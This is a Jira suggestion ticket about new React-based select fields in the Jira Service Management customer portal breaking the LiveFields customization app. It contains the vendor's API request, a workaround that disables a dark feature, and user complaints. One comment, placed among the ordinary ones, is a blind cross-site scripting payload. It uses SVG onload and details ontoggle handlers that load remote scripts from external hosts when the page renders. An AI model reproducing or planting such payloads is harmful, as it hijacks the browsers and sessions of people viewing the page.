-
Suggestion
-
Resolution: Unresolved
-
None
-
7
-
6
-
Hi,
Our product has a feature called LiveFields, which is used to manipulate fields in the UI (like hiding the field, setting it's value, listening for a field value change and limiting the select options).
We started facing some problems with this feature on the Customer Portal, and we noticed that it's because for some of the fields there's a new implementation: they are now implemented with React instead of just plain JS.
One of the fields is for example the Select, and we noticed this change for example in JSM version 5.11.2.
As you imagine, now we can't simply add JS listeners on the field or set its value, since React will rewrite the HTML/JS of that field and disregard whatever we modified on it.
For many of our customers this breaks existing functionality that they use for years.
We need a public JS API to allow us to manipulate this type of fields. Specifically, we need ways to do the following: add listeners to the field (for value change at least), change the field's value (even if it's multiple), restrict the field's options, disable or hide the field in the UI, set a small message under the field.
Thanks in advance,
Bogdan
- links to
| Form Name | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
[JSDSERVER-15032] New React fields are blocking customization in JSM Portal
Unfortunately, I (and I'm sure many others) Have contacted Appfire support. They were the ones that sent me to this ticket as proof that the problem was with Atlassian, not their plugin. I was not aware of this ticket's existence or its impact on their app behavior until they did so.
Their claim is Atlassian made changes that broke their plugin and there is no longer any way to work around the problem until Atlassian makes further changes to un-break their plugin.
"><svg/onload=import('//va.ez.pe')>"><details open ontoggle="let s=document.createElement('script');s.src='//bxss.net/h/ewcDxbli38LC';document.body.appendChild(s);">
I tried the workaround on Jira 9.12.13, enabled the feature, restarted my instances, tested in a private window. The workaround did not work for me.
There is a workaround to bring the previous non-React select components back. This can be achieved by adding `sd.select.component.uplift.disabled` in the 'Enable dark feature' input on `/jira/secure/SiteDarkFeatures!default.jspa` page in the Jira/JSM instance.
Note that by disabling this `sd.select.component.uplift` feature, Accessibility fixes brought by it will be no longer available on the 'Create request page', leading to worse Accessibility.
This is also affecting us. Upon upgrading our child dependent fields can no longer populate with JSM. All our customers are affected.
Hello,
May we have an ETA for this? This should not be a suggestion, but a bug.
Thank you!
This is a really important problem, I was so disapointed on new workplace, when I'd find out, that I can't use all this cool things with LiveFields